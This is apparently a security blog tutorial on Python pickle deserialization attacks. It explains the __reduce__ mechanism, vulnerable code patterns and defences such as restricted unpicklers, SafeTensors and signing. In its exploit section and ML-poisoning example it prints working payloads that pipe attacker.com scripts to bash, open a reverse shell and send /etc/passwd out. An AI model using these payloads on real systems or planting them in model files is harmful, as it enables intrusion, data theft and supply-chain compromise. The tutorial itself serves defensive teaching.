Skip to main content
Writing
·Tutorial·9 min read

Pickle Deserialization Attacks: Understanding Python's Silent RCE Vulnerability

A comprehensive guide to Python pickle deserialization vulnerabilities, explaining how attackers exploit the __reduce__ method to achieve remote code execution and why 'never unpickle untrusted data' remains critical security advice.

Contents

Python's pickle module is a powerful serialization library that can convert complex Python objects into byte streams and back. However, this convenience comes with a severe security risk: deserializing untrusted pickle data can lead to arbitrary code execution. This article explores how pickle deserialization attacks work, why they're so dangerous, and what makes them particularly insidious in modern ML/AI pipelines.


What is Pickle?

Pickle is Python's native serialization protocol for converting Python objects into a byte stream (pickling) and reconstructing them later (unpickling):

import pickle

# Serialize an object
data = {"user": "alice", "scores": [95, 87, 92]}
serialized = pickle.dumps(data)

# Deserialize back to Python object
restored = pickle.loads(serialized)
Use Case Example
Caching Store computed results to disk
IPC Pass objects between processes
ML Models Save trained model weights
Session Data Serialize user session state
Message Queues Send Python objects via Redis/RabbitMQ

Pickle can serialize almost anything: classes, functions, nested structures, and even lambda expressions (with limitations).


The Security Warning

Python's official documentation contains an explicit warning:

Warning: The pickle module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Despite this warning, pickle vulnerabilities continue to appear in production systems because:

  1. Developers underestimate the risk
  2. Trust boundaries are unclear
  3. Pickle is deeply embedded in popular frameworks
  4. The attack surface is often hidden

How Pickle Executes Code

The __reduce__ method is the key to understanding pickle attacks. When an object defines __reduce__, pickle calls it during serialization to get instructions for reconstruction:

class SafeExample:
    def __init__(self, value):
        self.value = value

    def __reduce__(self):
        # Returns (callable, args) - pickle will call callable(*args)
        return (SafeExample, (self.value,))

During unpickling, pickle executes: SafeExample(self.value) to reconstruct the object.

The Attack Vector

An attacker can abuse __reduce__ to execute arbitrary code:

import pickle
import os

class MaliciousPayload:
    def __reduce__(self):
        # This will execute during unpickling!
        return (os.system, ("whoami",))

# Create malicious pickle
payload = pickle.dumps(MaliciousPayload())

# Victim unpickles the data
pickle.loads(payload)  # Executes: os.system("whoami")

When the victim calls pickle.loads(), the os.system("whoami") command executes with the victim's privileges.


Anatomy of a Pickle Exploit

Basic RCE Payload

import pickle
import base64

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("curl attacker.com/shell.sh | bash",))

# Generate payload
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())

Reverse Shell Payload

class ReverseShell:
    def __reduce__(self):
        import socket, subprocess, os
        return (
            exec,
            ("""import socket,subprocess,os;s=socket.socket();s.connect(('attacker.com',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])""",)
        )

Stealthy Data Exfiltration

class Exfiltrate:
    def __reduce__(self):
        return (
            eval,
            ("__import__('urllib.request', fromlist=['urlopen']).urlopen('https://attacker.com/steal?data=' + open('/etc/passwd').read().replace('\\n', '%0A'))",)
        )

Real-World Attack Scenarios

1. Machine Learning Model Poisoning

ML models are frequently saved as pickle files (.pkl, .pickle, .joblib):

# Legitimate model saving
import joblib
from sklearn.ensemble import RandomForestClassifier

model = RandomForestClassifier()
model.fit(X_train, y_train)
joblib.dump(model, "model.pkl")  # Uses pickle internally

An attacker who can modify model.pkl (via supply chain, storage access, or MITM) can inject RCE:

# Attacker creates poisoned model
class PoisonedModel:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/backdoor.sh | bash",))

    def predict(self, X):
        return [0] * len(X)  # Fake predictions

joblib.dump(PoisonedModel(), "model.pkl")

When the victim loads the model:

model = joblib.load("model.pkl")  # RCE triggered!
predictions = model.predict(X_test)

2. Web Application Session Hijacking

Flask with server-side sessions:

# Vulnerable session configuration
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SESSION_SERIALIZER'] = 'pickle'

If an attacker can manipulate session files or the session cookie (in some configurations), they can inject malicious pickle data.

3. Redis/Memcached Cache Poisoning

import redis
import pickle

r = redis.Redis()

# Application caches user data
def get_user(user_id):
    cached = r.get(f"user:{user_id}")
    if cached:
        return pickle.loads(cached)  # Vulnerable!
    # ... fetch from database

An attacker with Redis access can poison the cache with malicious pickle payloads.

4. PyTorch Model Loading

PyTorch uses pickle for model serialization:

import torch

# Loading untrusted model = RCE
model = torch.load("untrusted_model.pt")  # Vulnerable!

The torch.load() function is essentially a wrapper around pickle, making it equally dangerous with untrusted files.


The Pickle Opcodes

Understanding pickle's bytecode helps in analyzing payloads:

import pickletools

payload = pickle.dumps({"key": "value"})
pickletools.dis(payload)

Output:

    0: \x80 PROTO      4
    2: \x95 FRAME      19
   11: }    EMPTY_DICT
   12: \x94 MEMOIZE
   13: \x8c SHORT_BINUNICODE 'key'
   18: \x94 MEMOIZE
   19: \x8c SHORT_BINUNICODE 'value'
   26: \x94 MEMOIZE
   27: s    SETITEM
   28: .    STOP

Key dangerous opcodes:

Opcode Name Danger Level Purpose
R REDUCE Critical Calls function with args from stack
c GLOBAL High Imports module.name
i INST Critical Creates instance (calls __init__)
o OBJ Critical Creates object (calls __new__ + __init__)
b BUILD Medium Calls __setstate__

Why Pickle Attacks Are Hard to Detect

1. Binary Format Obscurity

Pickle data is binary, not human-readable:

\x80\x04\x95\x1f\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.

2. Legitimate-Looking Payloads

Malicious payloads can be hidden within legitimate data structures:

class TrojanModel:
    def __init__(self):
        self.weights = [0.1, 0.2, 0.3]  # Looks legitimate
        self.bias = 0.5

    def __reduce__(self):
        # Hidden payload
        return (eval, ("__import__('os').system('id')",))

3. Dynamic Payload Generation

Attackers can use pickle's GLOBAL opcode to import any module:

# This payload doesn't require importing os in the script
import pickle
import pickletools

# Manually craft payload using opcodes
payload = b'\x80\x04\x95\x1f\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
pickle.loads(payload)  # Executes whoami

Common Vulnerable Patterns

Pattern 1: Direct User Input

# VULNERABLE
@app.route('/api/data', methods=['POST'])
def process_data():
    data = pickle.loads(request.data)  # Never do this!
    return jsonify(data)

Pattern 2: File Uploads

# VULNERABLE
def load_model(filepath):
    with open(filepath, 'rb') as f:
        return pickle.load(f)  # Dangerous with user uploads

Pattern 3: Network Data

# VULNERABLE
def receive_task(socket):
    data = socket.recv(4096)
    task = pickle.loads(data)  # Attacker-controlled data
    execute_task(task)

Pattern 4: Database Storage

# VULNERABLE
def get_user_preferences(user_id):
    row = db.query("SELECT prefs FROM users WHERE id=?", user_id)
    return pickle.loads(row['prefs'])  # If prefs can be modified

The ML/AI Pipeline Risk

Modern AI systems are particularly vulnerable because:

1. Model Sharing is Common

  • Hugging Face Hub hosts thousands of models
  • Kaggle datasets include pre-trained models
  • GitHub repos share model weights

2. Trust is Often Implicit

Researchers download and run models without verification:

# Common but dangerous pattern
model = torch.load("downloaded_model.pt")
model.eval()
output = model(input_data)

3. Supply Chain Complexity

ML pipelines involve many dependencies:

Data Source → Preprocessing → Training → Model File → Inference
     ↓              ↓            ↓           ↓            ↓
  (pickle?)    (pickle?)    (pickle?)   (pickle!)    (pickle?)

Any step using pickle is a potential attack vector.


Mitigation Strategies

1. Avoid Pickle for Untrusted Data

Use safer alternatives:

Format Library Safe? Limitations
JSON json Yes Basic types only
MessagePack msgpack Yes Basic types only
Protocol Buffers protobuf Yes Requires schema
YAML pyyaml (safe_load) Yes Basic types only
Pickle pickle No Full Python objects

2. Use SafeTensors for ML Models

from safetensors import safe_open
from safetensors.torch import save_file

# Safe saving
tensors = {"weight": model.weight, "bias": model.bias}
save_file(tensors, "model.safetensors")

# Safe loading
with safe_open("model.safetensors", framework="pt") as f:
    weight = f.get_tensor("weight")

3. Restricted Unpickler

Create a custom unpickler that only allows safe classes:

import pickle
import io

SAFE_CLASSES = {
    ('numpy', 'ndarray'),
    ('numpy', 'dtype'),
    ('collections', 'OrderedDict'),
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if (module, name) in SAFE_CLASSES:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(
            f"Forbidden: {module}.{name}"
        )

def safe_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

4. Signature Verification

Sign pickle files and verify before loading:

import hmac
import hashlib

SECRET_KEY = b'your-secret-key'

def sign_pickle(data):
    signature = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
    return signature + ':' + data.hex()

def verify_and_load(signed_data):
    signature, hex_data = signed_data.split(':')
    data = bytes.fromhex(hex_data)
    expected = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(signature, expected):
        raise ValueError("Invalid signature")
    return pickle.loads(data)

Detection and Analysis

Static Analysis

Scan for dangerous pickle usage:

# Find pickle.loads calls
grep -rn "pickle.loads" --include="*.py" .
grep -rn "pickle.load" --include="*.py" .
grep -rn "torch.load" --include="*.py" .
grep -rn "joblib.load" --include="*.py" .

Runtime Monitoring

Hook pickle operations:

import pickle
original_loads = pickle.loads

def monitored_loads(data, *args, **kwargs):
    # Log or analyze before loading
    print(f"[PICKLE] Loading {len(data)} bytes")
    return original_loads(data, *args, **kwargs)

pickle.loads = monitored_loads

Payload Analysis

Disassemble suspicious pickle files:

import pickletools

with open("suspicious.pkl", "rb") as f:
    pickletools.dis(f)

Look for:

  • GLOBAL opcodes importing os, subprocess, builtins
  • REDUCE opcodes calling dangerous functions
  • Obfuscated or encoded strings

Conclusion

Pickle deserialization remains one of Python's most dangerous features. The combination of powerful serialization capabilities and implicit code execution creates a perfect storm for security vulnerabilities. Key takeaways:

  1. Never unpickle untrusted data - this cannot be overstated
  2. ML/AI pipelines are high-risk - models are often shared without verification
  3. Use safer alternatives - JSON, SafeTensors, Protocol Buffers
  4. Defense in depth - signatures, restricted unpicklers, sandboxing

The next article explores Pickleguard, a tool designed to detect and prevent pickle-based attacks in Python applications and ML pipelines.


Further Reading:

Share

Comments

Page views are tracked via Google Analytics for content improvement.